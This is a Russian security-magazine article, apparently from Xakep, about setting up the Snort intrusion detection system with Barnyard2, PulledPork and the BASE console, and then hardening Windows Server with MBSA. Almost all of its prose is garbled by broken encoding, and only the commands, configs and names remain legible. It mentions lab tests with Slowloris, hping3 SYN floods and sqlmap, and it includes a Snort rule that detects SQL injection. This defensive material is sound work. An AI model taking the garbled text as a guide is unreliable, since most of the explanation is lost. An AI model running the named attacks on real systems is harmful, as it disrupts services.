???�???� ?????�?� ???�??� Snort� ???� ????,� ???�?� ???�???�?,� ???� ???� ????�???
?�?????�?.
/usr/sbin/snort�V
??�??�??�??�????�??,�??�?�????�???.
???�??燬nort
??�????�?�????�???,�??�???�???�?!
?????????��????營DS
?� ???????�????� ????�?????� ???�???� ????�?,� ??� ?????� ??� ???�???�?
??�????�??�??.�????�?�??�????�???�?????�?�??燬nort.
sudo爂roupadd爏nort
sudo爑seradd爏nort�r�s�/sbin/nologin�c燬NORT_IDS�g爏nort
??�???�??�???�???�??????�??�?��??�???�??�?:
sudo爉kdir�/etc/snort
sudo爉kdir�/etc/snort/rules
sudo爉kdir�/etc/snort/rules/iplists
sudo爉kdir�/etc/snort/preproc_rules
sudo爉kdir�/usr/local/lib/snort_dynamicrules
sudo爉kdir�/etc/snort/so_rules
sudo爐ouch�/etc/snort/rules/iplists/black_list.rules
sudo爐ouch�/etc/snort/rules/iplists/white_list.rules
sudo爐ouch�/etc/snort/rules/local.rules
sudo爐ouch�/etc/snort/sid?msg.map
sudo爉kdir�/var/log/snort
sudo爉kdir�/var/log/snort/archived_logs
sudo燾hmod�R�75�/etc/snort
sudo燾hmod�R�75�/var/log/snort
sudo燾hmod�R�75�/var/log/snort/archived_logs
sudo燾hmod�R�75�/etc/snort/so_rules
sudo燾hmod�R�75�/usr/local/lib/snort_dynamicrules
sudo燾hown�R爏nort:snort�/etc/snort
sudo燾hown�R爏nort:snort�/var/log/snort
sudo燾hown�R爏nort:snort�/usr/local/lib/snort_dynamicrules
???�???�?�??�?????�???�??�??�?��??�?�??�??�?�?�??�??�??�??:
cd爚/snort/snort?2.9.12/etc/
sudo燾p�*.conf*�/etc/snort
sudo燾p�*.map�/etc/snort
sudo燾p�*.dtd�/etc/snort
cd爚/snort/snort?2.9.12/src/dynamic?preprocessors/build/usr/local/
lib/snort_dynamicpreprocessor/
sudo燾p�*�/usr/local/lib/snort_dynamicpreprocessor/
?�??�?�??�??�???????�?�??�????�????�???�????��??�??.
??�???�????��??�??�/etc/snort
???�????�???� ???� ????�?� ?� 457??� ??� 651??� ?� ???�?� /etc/snort/snort.
conf.� ????�???� ???� ???� ????,� ???�?� Snort� ???� ?????�?� ??� ???�????� ???�???,
???�???�?�??�???�??�?�??�??��??�????�??�???�?燩ulledPork.
sudo爏ed�i�'s/include燶$RULE\_PATH/#include燶$RULE\_PATH/'�/etc/
snort/snort.conf
???�??�??�???�?�??�??��???�?�??�?????�???�??�???�???�??:
1.�???�?�:�??�???�?�???�???.
2.�???�?�4:�???�?�?爒ar燫ULE_PATH�/etc/snort/rules.
3.�???�?�5:�???�?�?爒ar燬O_RULE_PATH�/etc/snort/so_rules.
4.�???�?� 106:� ????�?� ??� var� PREPROC_RULE_PATH� /etc/snort/pre�
proc_rules.
5.�???�?� 113:� ????�?� ??� var� WHITE_LIST_PATH� /etc/snort/rules/
iplists.
6.�???�?� 114:� ????�?� ??� var� BLACK_LIST_PATH� /etc/snort/rules/
iplists.
7.�???�?�6:�???�?????�??�?????�???????爄nclude�$RULE_PATH/lo�
cal.rules�??�??�?????�?�?????�?????�???�??�???.
8.�???�?� 521:� ????� ???� ????�?????� ????????� ????�?� output� unified2:�
filename爏nort.u2,爈imit�8.
9.�???�?�8:�????�?????�???????�???�?爄nclude�$RULE_PATH/snort.
rules.
???�??� ???�?,� ?� ?� ???� ???�?� ???�???�?.� ?� ???????,� Snort� ???�?� ???�?????
????�??�?????�??.�??????�??�??�?????�??�?�??�???�?????�??��???�
????.
sudo爏nort�T�c�/etc/snort/snort.conf�i爀np0s3
??�?�?????�????�??�??�?� Snort爏uccessfully爒alidated爐he燾onfig?
uration!燬nort爀xiting,�??�??,�??��????�?��?????�???�?�??�???.
?????????燘ARNYARD2
Barnyard2� ?� ???� ???�??,� ???????� ???????� ???�???� ???�????� ??� ???�??.
???�??�???�??�?�???�?�??�??�???�??????�??�????�?:
sudo燼pt?get爄nstall�y爉ysql?server爈ibmysqlclient?dev爉ysql?client�
autoconf爈ibtool
??�???� ???�????,� ???� ??� ???�?� ????�??�?� MySQL� ???�????� ????�?� ??????
???爎oot.�????�?�?�???�?�?�??�?�????�?.
??�??�??�??�??燘arnyard2:
cd爚/snort_src
wget爃ttps://github.com/firnsy/barnyard2/archive/master.tar.gz�O�
barnyard2?Master.tar.gz
tar爖xvf燽arnyard2?Master.tar.gz
cd燽arnyard2?master
autoreconf�fvi�I�./m4
sudo爈n�s�/usr/include/dumbnet.h�/usr/include/dnet.h
sudo爈dconfig
./configure�?with?mysql�?with?mysql?libraries=/usr/lib/
i386?linux?gnu
make
sudo爉ake爄nstall
???�???�?,�?�??????�???�?�?�??�??�???:
/usr/local/bin/barnyard2�V
???�?�?????�?�??�?�?�??????�?�?????,�??�???�??�?��??�???�???�
??:
sudo燾p爚/snort/barnyard2?master/etc/barnyard2.conf�/etc/snort/
sudo爉kdir�/var/log/barnyard2
sudo燾hown爏nort.snort�/var/log/barnyard2
sudo爐ouch�/var/log/snort/barnyard2.waldo
sudo燾hown爏nort.snort�/var/log/snort/barnyard2.waldo
??�???�??�??�?�?????�???�燤ySQL:
mysql�u爎oot�p
mysql>燾reate燿atabase爏nort;
mysql>爑se爏nort;
mysql>爏ource爚/snort/barnyard2?master/schemas/create_mysql
mysql>燙REATE燯SER�'snort'@'localhost'營DENTIFIED燘Y�'snortpass';
mysql>爂rant燾reate,爄nsert,爏elect,燿elete,爑pdate爋n爏nort.*爐o�
'snort'@'localhost';
mysql>爀xit
??�??�???� ?� ?????� ???�?� /etc/snort/barnyard2.conf� ????�?� output�
database:爈og,爉ysql,� user=snort� password=snortpass� dbname=snort�
host=localhost爏ensor爊ame=sensor01.��??�?�?????�????��??�???:
sudo燾hmod爋?r�/etc/snort/barnyard2.conf
??�???� ???�????� ???,� ???� ???�???� ????�?.� ?� ????� /etc/snort/rules/lo?
cal.rules�????�???�????�?
alert爄cmp燼ny燼ny�>�$HOME_NET燼ny�(msg:"ICMP爐est燿etected";燝ID:1;
sid:10000001;爎ev:001;燾lasstype:icmp?event;)
???� ?????� ????� ???�???� ??� ???�??�?� ???�?� (ICMP???????).� ??????�???� ???
????�?��???�/etc/snort/sid?msg.map:
`#v2`
1爘|�000001爘|�1爘|爄cmp?event爘|�|營CMP燭est燿etected爘|爑rl,
tools.ietf.org/html/rfc792
?�??�????�?????燘arnyard�??�?�??�????�??�?????,�??��??.
??�??�??燬nort��?????�?????�(??�??��????�???????�???�?).
sudo�/usr/local/bin/snort�q�u爏nort�g爏nort�c�/etc/snort/snort.
conf�i爀np0s3�D
??�??�????�??燘arnyard2:
sudo燽arnyard2�c�/etc/snort/barnyard2.conf�d�/var/log/snort�f�
snort.u2�w�/var/log/snort/barnyard2.waldo�g爏nort�u爏nort
???�???�??燬nort?server��(????�??��????�?)�?????�?�??�??�????�??.
??�???燬nort�+燘arnyard2
??????????? ??????
?
? �?????�?????
?????
???? ???�????
?????????????燬NORT��????�??????
?????????燩ULLEDPORK
????�?� ???�?� ???�?????� ???�???� ???� Snort.� ????� ???�??�?� ??????� ???� ????�
????�?燩ulledPork.�????�??�??�????.
sudo燼pt?get爄nstall�y爈ibcrypt?ssleay?perl爈iblwp?useragent?determ
ined?perl
cd爚/snort
wget爃ttps://github.com/shirkdog/pulledpork/archive/master.tar.gz�O�
pulledpork?master.tar.gz
tar爔zvf爌ulledpork?master.tar.gz
cd爌ulledpork?master/
sudo燾p爌ulledpork.pl�/usr/local/bin
sudo燾hmod�+x�/usr/local/bin/pulledpork.pl
sudo燾p爀tc/*.conf�/etc/snort
??�???�??�???�?????�??�?�?�???� Snort.�????�??�???�?���??�?�????�
????�???�???�?�???�?????�??爋inkcode.
??�???�??� ?� ???�???�??� PulledPork.� ?� ????� /etc/snort/pulledpork.
conf�??�??�??�?????�???�????:
1.�???�?� 19:� ???�??� ????� oinkcode� (rule_url=https://www.snort.
org/reg璻ules/|snortrules璼napshot.tar.gz).
2.�???�?�:�???�?????�??�?????�???????爎ule_url=https://rules.
emergingthreats.net/|emerging.rules.tar.gz|open璶ogpl.
3.�???�?�:�???�?�???��??�????�?� rule_path=/etc/snort/rules/
snort.rules.
4.�???�?� 89:� ????�?� ????� ?� ?????� ???�????� ??� local_rules=/etc/
snort/rules/local.rules.
5.�???�?�:�??�????��???爏id_msg=/etc/snort/sid璵sg.ma.
6.�???�?�:�??�????�?�??�??�??�??�(sid_msg_version=2).
7.�???�?�9:�??�???�?�???��??�???燬nort�(config_path=/etc/snort/
snort.conf).
8.�???�?�3:�??�???�?�??�??�????�(distro=Ubuntu��).
9.�???�?� 141:� ????�?� ????� ?� black_list� ??� /etc/snort/rules/
iplists/black_list.rules.
10.�???�?� 150:� ???�????� ?� ????� IPRVersion=/etc/snort/rules/
iplists.
??�??�???燩ulledPork:
sudo�/usr/local/bin/pulledpork.pl�c�/etc/snort/pulledpork.conf�l
???�???�?,�??�??�???�???�??�???.�??�???�?,�??�???�???�?�??燬nort
???�?�???�????�??�???.
sudo爏nort�T�c�/etc/snort/snort.conf�i爀np0s3
???� PulledPork� ???� ?????� ???�?????� ???????� ???????�??� ?� ???�?????� ????�
????.�???�?????�???�?�???????�????�?�?�??�?????��??�????�??:
sudo燾rontab�e
03��*�*�*�/usr/local/bin/pulledpork.pl�c�/etc/snort/pulledpork.
conf�l
??�???� ???�????,� ???� ?????�?� ???�????�????� Snort� ???�??� ???�????� ????�
??????�??�?�???�????�??�????�?,�??�?�??�??�?????�??�????�?�????.
?????????燘ASIC燗NALYSIS燗ND燬ECURITY燛NGINE
??�????�??�?�???�?????�??�??��???�?????�??�????�??�???�??�????,
????�????�???�????�??�?�???��?????�??�??�???.�???�???�?.
sudo燼dd?apt?repository爌pa:ondrej/php
sudo燼pt?get爑pdate
sudo燼pt?get爄nstall�y燼pache2爈ibapache2?mod?php5.6爌hp5.6?mysql�
php5.6?cli爌hp5.6爌hp5.6?common爌hp5.6?gd爌hp5.6?cli爌hp?pear爌hp5.
6?xml
sudo爌ear爄nstall�f�?alldeps營mage_Graph
???�???�?�??�????�?燗DODB:
cd爚/snort
wget爃ttps://sourceforge.net/projects/adodb/files/adodb?php5?only/
adodb?520?for?php5/adodb?5.20.8.tar.gz
tar�xvzf燼dodb?5.20.8.tar.gz
sudo爉v燼dodb5�/var/adodb
sudo燾hmod�R�5�/var/adodb
???�???�?燘ASE:
cd爚/snort
wget爃ttp://sourceforge.net/projects/secureideas/files/BASE/base?1.4.
5/base?1.4.5.tar.gz
tar爔zvf燽ase?1.4.5.tar.gz
sudo爉v燽ase?1.4.5�/var/www/html/base/
??�???�?�??�?????�???�??�???:
cd�/var/www/html/base
sudo燾p燽ase_conf.php.dist燽ase_conf.php
?�??�????�?????�??�???�?��??�?�/var/www/html/base/base_conf.php
?�???????:
$BASE_urlpath牋��'/base';
$DBlib_path牋牋��'/var/adodb/';
$alert_dbname牋��'snort';
$alert_host牋牋��'localhost';
$alert_port牋牋��'';
$alert_user牋牋��'snort';
$alert_password��'snortpass';
??�??�???�?,� ????�?????� ????�???� ???�?,� ???�?� ???�?� ??� ???�??� ??????
?�??�?:
sudo燾hown�R爓ww?data:www?data�/var/www/html/base
sudo燾hown�R爓ww?data:www?data�/var/www/html/base
??�???�??�???燗pache.�????�???�??�???��???�?�???�?�(?????�??�???�
?????� ????)� http://192.168.1.20/base/index.php.� ??????�?� ????�?� Cre?
ate燘ASE燗G��??�??�??�???�???.��??�??�???�?�????�??�???�??????
???�???,�???��??,�??�???�?????�??�???�?????�?????.
???????�?????
??�??�??� ??� ?????� ???�?� ?????� ???�????� ?????� ??� Snort
?� Barnyard2� ?� ?????�???�?� ??� ?� ????�?????.� ???� Snort� ????�?????� ???�???
????�/lib/systemd/system/snort.service��????�????�????:
[Unit]
Description=Snort燦IDS燚aemon
After=syslog.target爊etwork.target
[Service]
Type=simple
ExecStart=/usr/local/bin/snort�q�u爏nort�g爏nort�c�/etc/snort/
snort.conf�i爀np0s3
[Install]
WantedBy=multi?user.target
???�??�??�???,�??�???�?�???�????�???�??�??�????:
sudo爏ystemctl爀nable爏nort
?�????�??�???�?:
sudo爏ystemctl爏tart爏nort
???�??�????�?�??�??�??�?�??�???�???�?:
systemctl爏tatus爏nort
???� ???�??� ???????� ????�?� ????�?????� ???�???� ????� /lib/systemd/sys?
tem/barnyard2.service��??�?????��??�??�?????�???�?:
[Unit]
Description=Barnyard2燚aemon
After=syslog.target爊etwork.target
[Service]
Type=simple
ExecStart=/usr/local/bin/barnyard2�c�/etc/snort/barnyard2.conf�d�/
var/log/snort�f爏nort.u2�q�w�/var/log/snort/barnyard2.waldo�g�
snort�u爏nort�D�a�/var/log/snort/archived_logs
[Install]
WantedBy=multi?user.target
??�??�??�????�????�?:
sudo爏ystemctl爀nable燽arnyard2
sudo爏ystemctl爏tart燽arnyard2
systemctl爏tatus燽arnyard2
??�????�???�?�???�??�???��???�???�?,�??�??�?????�?.
???????????�???????��???
???� ???�??�?� ???????�????�????� ?� ????� ???�???� ????�????�??� ???????,
???�?�???????�???�???�?�??�?????�??燬nort.��??�???,�??�???�?????
?????�???� ??????�??� ???�?� www.xakep.ru� ????????� ????�?????�??� (?????
??� ??????�??� ????).� ???� ???�?� ???� ???�?� ???�???� ???�???,� ???????� ??????�
????�?�?�??�??�????.�??�????�??�?????�??�?????�???�??:
alert爐cp燼ny燼ny�>燼ny燼ny牋(content:�"www.xakep.ru";爉sg:�
"Someone爄s爒isiting爏ite爊ow";爏id:1000008;爎ev:1)
??�????� ???� ?� /etc/snort/rules/local.rules� ?� ??????�??�??� ???????�
????.� ???� ???� Snort� ?� ????� ?????�???�?� ????�?� ???� ???�??,� ?� ?????� ??� ????
???�?????燣inks��??�???.
???�???�??��?????�??�??�?
?� ??????�???� ??� ???�???� ???�???�?� ???�???�??� ?� ?????�?,� ?????�?� ???� ?
???�??�??�?� ?� ???�???� ??????.� ????� ?????�?� ????????� ???�???,� Snort
??�????�????,�????�???�?��??�????,�?????�?�?�??�??�????�???�?.
????�?�????�?燬nort
?????????燬NORT��????�???�??????
??�???????� ?� ???�?????� ??� ???????�????�????� ?� ???�?� ????.� ????�?????
???� ???� ?� ????�????�???.� ???� ?????� ?� ???�????,� ??� ???� ???�??�?� ???� IDS
?�????�??�?�??�???�?.��??�???燬SH,燗pache�燜TP.�??�??,�???????�??
?????� ???�??,� ???????� ????� ?????,� ?� ???� ????�???�???� ???�???�????� ????�
???,�??�?�?�???�??�?????�(brute爁orce),燚oS�燬QL????�????.
????�??�??,� ???� ??� ????� ???�?� ??????�?� ?????.� ??� ???�??� ????� ????
?�??�??,�?�??�?��????�???�???????�????�?????�??�?????????��???�?
IP?????�?.��???�???�???�???�64�??????��????�??�???�??�???�??.
???�?????�??�?????�??,�??�?�??�???�??????�??�??�???.
???�????�????�?????�???營P
??�????�??�??� ???�??� ???�?� ???�???�????� ???�??,� ???,� ???� ???�????�???
???�??�???,牜???�?????�???�??�??????�????�.�???�??�???�?.
???�?�?�??�???
??�??�???�???燬SH????�???�?�??�??�?.�??�?�???�????�??��燜TP?
???�??�(21??).
??�??�????�?�??�??�???�??,�???�????�???�???�????�?,�???�???
???�??�??�?�?????,�???�?�?�??�??��??�????.�???�??,�??�??�????�
???�??�???�?��??�??�?????�??�???營P��??�????�?????�??�???�?�????�
???�???.
??�??� ???�??� ????� ????�?.� ???�???�?� Kali� Linux� ?� ???�???� ???�??�?
DoS????�?�?�??燗pache.�??�??燘ASE�?????�?�?燞TTP,�????�??�??�???�
???� ???� �???????�,� ???� ??� ???,� ?� ???� ???�?� Slowloris.� ?????�?� ???�???�?
??�???燢ali�?�?????�??�???�?????��????�???�??�?.
DoS燬lowloris�?燢ali燣inux
??�??� 15?30� ??????� ???� BASE� ?????�???� ????�???.� ?� ????� ???�?� ????�??�?
???�?� ????�???� ??????�??�???� ???????�??.� ???� ??� ??� ?????�??� ???�???�??
???�???� ??� ????� ???�???�?.� ????� ????�?� BASE.� Snort,� ?????�???�?,� ???�???�
???�???????��?????�???�??�???�??��???.
???燬nort�??�?燚oS
???�??�??�????�??�??�??�?�??�?.�??�??��??�??????�??�?????燬YN?
??????�?� ????� Snort????�??.� ???�???�?� ???� ????� ???� ??????� ????�????
hping3.
????�??�???燬YN???????�?
?�?????�??,��?????�?�??�???�???燬nort�?��??�?????�??�???�?????
??????�???�??�?���????�?????�?�??????.�???�???�???�???�????爐cp?
dump,�???�?�?????�?�??�??�???�?.
???�?????� ???�??� ?� ???�????� sqlmap� ??� BASE� ??� ???�???
http://192.168.1.20/base/base_stat_alerts.php?sensor=1.�
?�
??????�??,
???�???�?�???�?????�????:�??�??????�??�??�???�???�??�???�?�???
???�??� ?� ?????�???� ???�????� Snort� ???.� ???�??,� ???�?� ????????� ???�???
??????.��????�??�???�??�??�????�??�?????�???�??:
alert爐cp燼ny燼ny�>燼ny燼ny�(msg:�"SQL營njection";燾ontent:�"GET";�
http_method;爑ricontent:�"and�1";爊ocase;爏id:3000001;爎ev:1;)
??�???� ???�??� ??� web??????????� ?� ?????�??�?� ???�????�?� ?� ???�???�?
???�??�??�??�?????�??�??�????,�??????��??�?�??�???燼nd�1.��???
????�???????�??�???�??��??????�??�???.
???�???�??燬nort�?燬QL爄njection
??????????
?� ????� ???�?� ???�??,� NIDS� ????�?????� ??� ????�??�???.� ???� ?????�?????
????�??� ???�????,� ???????� ??� ???????�?� ????� ????�??�??� ?????�???� ???�?
??????.� ??� ???�??:� �??� ??� ??????� ????�???�??粻 ?� ?� ???????� ???�?????
????�?�??�?牜???燚LP�??�???�.
Snort�??�?�???�??�???�???�???�??�??????�???.��???�?��??????�
???�???�??�??�????�??�???�?�??�????�?.�??�?�??�?�???�??�?燬nort
?????�???�?�????�??�????,��???�??�??????�???�???�??�??�??�??,�??
??????�?� ????� ???�??� ???�???�????.� ??� ?� ????�??�?� (????� ??� ???� ??????)
??�?�????�???�??.�?????�?????�?�???�??�???�?�??�???�?????.
??�?� ???�?� ????� ?????�??�?� ?� ??????�??� ???�?� ???�??� ???� ???�????�?
??????�?�??�??�??�??�??�??.
WWW
????�????��?????燘ASE
???�?????�??�?�??�???�?燬nort
?????
????�???????
?????????
WINDOWS
???????????�????�???????????�
??�???????�?燗CTIVE燚IRECTORY
?� ????� ??????� ??� ????�??�?� ??� ?????� ???????�??� ?� ????�
???� ???�????� ???� ???�??�?� ????�?� ???????�????� ???�????�
???��??�?????�??�??燱indows�(????�?�??��?????�???
hardening),��??�?�??�?????�?�??�??�??�?�??�??�????�
??�????,�??�???�???�??????�????.�??�爐rue爉ust爃ave
????�??� ???�??�??�??� ???� ??????� ???????�?� ?� ????�???
??,� ???� ???,� ????� ??� ???�??� ????� ??� ?????�??� ????�????
?�???�??�??,�????�??�?????�?.�)
???????????�?????�???????????燱INDOWS-??????
??�?�?�??�?�????,�?��????� ????�??�?????�?�??�?????�??�??�???�
????,�??�????�??�???�?�??????�?�???�?�??????�????��??�?????�??
native??????� ???????�????� ?� Linux.� ?????�?� ??� ?� ??????�??� ????� ???�??
?�??�???�??��??�?????�??�???燱indows????�??.��???�?�??�????�??
?????�???�???�?� ?� ????�?,� ??� ????�??� ???�???�?� ?????� ???�??� ???�???�
??????�???�?�??????�????�???�????�???牜????�.
???�?牜???????�
???�?� ????�?� ???�??,� ???�?� Windows????�???� ?????� ?????�?� ?� ???????�?
??�???�????�燣inux.�??�??�??,�????�????,�????�?????�?.�?燤icrosoft
?� ???�?????� ???�???�?� ???� ???�???�?� ????�??� ???�??� ???� ????,� ???�?� ????�
???�?� ???�????� ????� ??� ????�?� ???�???,� ??� ?� ???�????�?� ???????�?.� ????�
??????�???�??�??�燱indows�,�??�???�????�??�???,�??�??�??��???
???�????�??�??�?�?�???�??�???�????�(?�??�???,� UAC,� DEP,� BitLocker,
DirectAccess,� WFP�� NAP,� AppLocker,�??�??燫estrict燩olicy)��???�???�???
??????�??�????�??�??????�??????�????.
????� ????�?� ???�?� ????� ?� ?????� ?????,� ???� ????????�??� SmartScreen,
??????� ????� Credential� Guard,� Device� Guard,� ???�??????� ?????�?????�??� (?
???�??�?�?????�????�??)燱indows燞ello�燤icrosoft燩assport,�??�????�???�
???�??� IUM,� Advanced� Threat� Protection� ?� �????�???� Windows�,� ????????
???�???�?� Windows� Analytics,� ?� ???�?� ??�??�?????�??� ?????� ??????
??� ???????�??� ?� ????�??� ????� ???????� ???�?????�????� WannaCry,� Petya
?� Bad� Rabbit.� ???�?????� ?????� ????� ?????�??????� ?� ???�?????�?� ????????�
?????燱indows��??�?�???????�?�??�????�??�????�?燤icrosoft.
??�???,� ???� ??????�???� ????�???,� ????�???�??� ????�??� ????�?????�??
?????�??�??�??�??�?�??�???�????�?�?�??�?�?�????�???�???�?�??,
??� ??� ???�?� ??????�?� ?????� ???????�????,� ????�??� ?� ????????� ??� ????�???�
??????� ????�????�??� ??.� ???�??� ??� ?????� ????�?????�??� ?� ???�?� ????�???�
????�?�?�???�????�???�????�????�??�???�?燱indows,��??????�?????�
???� ???� ??????�?� ??????�??� ???�????�?� ??� ???� ?????�?????�?� ??????�?
???????�????�??�?�??�?�?????�????.�?�???�?,�??�?????�???�???????
native????�??????� ???????�????,� ???�?� ???�???� ?� ???�?????�?� ?� ???� ?????
??????�???�??�??�??�???�??.
??�???� ?� ???�???�?� ?????� ?????� ?� ???,� ???� Windows� ??� ???????�????
???????�??�???�???��??�????�?????�燣inux.
INFO
Windows� 10� ????�???� ????�??� ???????�???� ????�
???????� ????�??????� ???????�????.� ???� ?� ????�
?????�??� ??� ????�??� UAC,� DEP,� BitLocker,� Direc?
tAccess,燦AP,燗ppLocker�(???�??燫estrict燩olicy),
WFP,��????�????�????燬martScreen,燙redential
Guard,燚evice燝uard,燞ello,燤icrosoft燩assport,燗d?
vanced� Threat� Protection� ???� Windows� Analytics.
????� ????� ?????�?????�??� ?????� ??????
??� ????�????� ?????,� ?????�??,� ?� ???�???,
?� ????�?� ?� ??????�?????�?????�?????� ????
WannaCry,燩etya�??燘ad燫abbit.
??�????�????�??�??�??????
??�??�?????�??????�????��??????�??�??????�??�????燱indows�??�???�
??�????�??�???�?????�??,�??��??�?�??�??????�???�??�????�???�????�
???�?� ????�?� ??� ???????� ???� ???�???�????�??.� ???�?� ??� ????????,� ???
????�??�??� ????�???�??� ???�????�??� ???�????� ??????�?� ??� Windows?????�
?????.� ?????�????� ?????� ???�?????� ???�?� ???� ???�????�???,� DevOps??????�
????��??�?????�???�??�??�???,�??�?�??????�?�???�????��???????�
??� ????� ???�??� ????�?� ???�??�????�?� ???�????�?� (?????�?� ????� ???�??
????????��??�???�?牜??????�????�??�??�??�?�,�??????��??�??�???�
????�????�?�??�?.��???.�??.).
???� ???� ????�????� ?� ???�?� �?????�?� ??� Linux� ?� ????� ???�??�?粻 ?????
??????�??.� ??� ??????� ????� ????�??�???� ??????�?� ???�????�?� ???� ??????�
????� ??� ???�????,� ??????�???� ?� 1?� ??� Linux?� ?????�??,� ???� ???�????,
??� ????????� ??� ???� ????�???�??.� ?????�?� Windows� ?????�?� ???�?� ??????�?
?????�???�?????�?????�?�??�?�?�???�????.
??�?�??�?????�??�?????�??�??�??�?�(??�??��??�??�??�???�?� ?????
?� ?????),� ???�????� ???�?� ?????� ??????�??� ?????�???� ??????�???� ?????
?????,� ??� ?� ????�??� ???????,� ?� ???????� ???????� ?????�?� ???�?,� ???�??
??� ????�?� 0day????�????�?� ?� ????�??� ???�????�??� ???�??,� ??� ???�?� ?� ???�
????� ????�??�??� ????�????.� ???� ????�?� ?� ?????�???� ????�???� ??????�?
????�?�?????,�??�??�????�??�?�???�???�????�??�?,�??�?�??�???,��
???� ????� ????�??� ???�????�??� ???????� ???�??????�??� ???????�????,� ?????
???燦GFW,燬IEM,燱AF,燬andBox,營DS/IPS????�???.
???�??�???�????�??�??�????�???�??�?????�?
??�?燣inux�?�???�??�??�???�??�??�???,��??????��????�?????�??�?
????�???????� ???�??� ??????,� ????�???�???� ???????� ????�?,� ???�??�??� ????�
???�???�??� ?� ????????� ??� �????�??� ???�??粻 ???�?????� ???�??,� ??� ?� Win?
dows�????�???��??�??�???�?�???�??.� ??�??�???�??�?????�?燤icrosoft
???�???�?�???�???????�???�????�??��??�??????�??�??�????.�????�?
?�??�??�??�?,��??????�?�??�??�?�???�????�??�???�?.
?� ???�???,� ????� ????�??�???� ?????� ???�????� ???� ?????�??� ???�???
?????�???�???�????�???,�??�??�????�???�??�??????,�??�???�?�??�???�
??,�???�??�?�??????�??��??�??????�??�???�??�??�???�??�??????,�?
?????� ???????�????� Windows� Server� ???�???�?� ?????�?� ????�???� ???�????.
?�??�???,��???�??�?�??????:
? ???�????� ????�????� ???�????� ???�????� Active� Directory� (OU,� GPO� ?� ???
?????)?
? ??�???�?�????�??�???�?????�??��???�????�???�?????�??
? ??�???�?� ?????�??� ????�?????�??� ?� ??????�?,� ???????� ?????�?� ??� ?????�
?????
? ????�????�??� (?????�?????�???�??�??)� ????�??�??�??�??� ????�??
??????�?�??�????燱indows燬erver,燤S燬QL燬erver��????�???
? ??�???�??� ???�???�?� MS� Exchange� Server� ?� SharePoint,� ??????�???
??�???�??�?????�燗D�?????�?�??????�?????
? ?????�??��???�??�??????�????.
???�???�?� Windows� Server� ?� ???�???� ????�?????�??,� ??� ?� ????�??� ??� Linux
????�???�??燛nterprise????�??�??�???�?�??????�????燗ctive燚irecroty��???�
???�?????????�?????�??�??�??�????�??�?????�???�(?�??�??,�???�???).
???� ????�???� ???�??�?� ???????�????,� ???????�????�??� Microsoft,� ??� ???
?????�??�?� ???� ????� ????�??�??� ?????�?� ???�??� Windows� ?� 7,� 8,� 10,� Server
2012,� Server� 2016.� ??????� ???�?,� ???�????� ???�?� ???�?� ????�???� ??� ?????
CIS????????�????�??� ???�??�??� ?� ???�?????�????�??� ???�???�????� ????�
???.
?????�???????????
??�???�??��????�???�??�??,�???�????�??�??�?��???�?�???????�???�
???�??�??�???�?��??�???�?爊ative??????�??????�????燱indows.��??�??
???�?� ??????� ????�?� ??� ????�??�??�???� ????� ???�????� ??� ???�???�??
???爋pen爏ource�??�??�??�??,�??????�????�??�????�???�??�?�??�???.
MBSA�燤icrosoft燘aseline燬ecurity燗nalyzer
MBSA� ?� ???�??�??� ???�???� ???�??�?� security� settings� ??� ?????� Microsoft.
???�??�?????�???�??�???�???�?�?燱indows燲P�燬erver�03.��??�??
??????�??�????�?????�??,��??�??�?�???�???�???�??�??��?�??�???!
??�??�??�3�??�????�???�??�????�??�?�?????�?燱indows��燬erver
2016.
??�??�??�??��??�???�???�??????�??�燤BSA
??�?????�???� ??????�?� ???�???� ????� ????�?????� ???�?????� ???????�????
Windows��???�???�???��??????�???�??燤icrosoft,�?????�??�??????�???�
???� ?????�??� ???�???� ???????�????� ?� ??????�??�???� ???????�??� security
patch,� ??,� ??????� ???�?,� ???�???� ????�???�?� ???�???�??� ???????�????,
???� ????�???� ???????�????,� ???????,� ????�?,� ???�??�?� ?� ??????�?� ????�???�
???�?�??????�?.�???�??,�??�???�????,�????�??��?????�?�???�???
??????�????,�??�???�???????�??�??????!
????�????�????燤BSA爒2.3�?燱indows燬erver�16
MBSA� ????�?????�?� ?????�??� ???�??�?,� ????�????� ?� ???�???�?� ??????�
??????� Microsoft� ????� ???�??,� ???????� ?????�??� ???????�??� ???� ????
???????�???��??�????�??�??�??,�??????�??�??�??�???�?�??�??�??燤i?
crosoft�(IE,營IS,燤S燬QL燬erver,燤DAC,燤SXML��??�????).�???????��??�????
???�?�????�??�????�??�????????��????�???�???�?.
???� MBSA� ?????�??�?� ???�???????� ?????�?� ???�???�????� ???� ??????�?,
???� ?� ??� ????� ?????� ?????�???� ????�?� ???� ??????� ?????�?� ???????�??�?
???�?� mbsacli.exe.� ?????�?� ???�?� ???� ???�??� ?� ?????�?????�??� ?????,
???????�??�???�?�????????�??�???�???�?.
??�???燤BSA�燙LI???????��??�??�?????�????�?
??�??�????�??�??�??�???�??�???�????�?????�?�??�?
??�??�????�??�???�????�?�???�??�???�?�??�??
???�????�??�???�?�??�???�????
??� ????�???,� ???�?� ????�?????� ???�???�??� ?� ???�?????�??�??� ??????�???
???????�????� ?????????????�???,� ???�?????� ????�??�??�????� ???�????�
????� ?????�???� ???�???� ???�??� ???� ????�??.� ????�?� ???� ?????� ????�????
???�????� ?????�?� MBSA� ????�??�??�?� ??� ???�??????,� ???????� ???�????
???�???��???�???�??�??�?????�?????�???�???�?�?�???�?�???�???�??
???�?� ????�??,� ?� ???� ???�?????�?� ???�????� ???�???� ???????�????�????
?�??�?????�??????�????�??�??????�??�???.
?�??�???,�????�???�??�?�????�?????:�???�?????�??�??�?�??�???�
??� ?????�??�??� (?????�??� IP?????�??)� ?� ??????�?????�?� ???�??� ????�?
WSUS� ?� ???�?????� ?????� ?� ????�????�??� ?????�????� (???�??� ????�?:�
<???�?????????>��?????>).� ???�?� ?????�?� ?????�?� MBSA� ??� CLI� ?????
???�?????�??�?????�???�??:
mbsacli.exe�/r燵?????????營P??????]?[????????營P??????]�/q�/wa�/o�
%IP%?%T%�/u燵?????/???�???????????]牋/p燵??????�???????????]�/rd燵
??????????,�???�????�??????????�?????]
??�???�?�???????�??�??????�牜???�????�??�??????燱indows�,�??????
?�????�????�???�???�??????�??�??�????��???�????�??�??�?.
??�???�???�??�???�????
???�?� ?????�????� ???�???�????� ?� ????�??� ??� ????�????� MBSA� ???�???
????� ????�?� ?� ???�?� ???�???� ????�?????�?,� ?????�???� ?� ???�???.� ?� GUI?
????????�?� ???�???� ??????�???� ???�???�????� ????�???�???� ?� ???????
???�?????� ????�??� ?� ??????�??�?� ??� ????,� ????� ??� ???�???� ???�??????
???�???�???�??????�????�?�??�???�???�??�?.
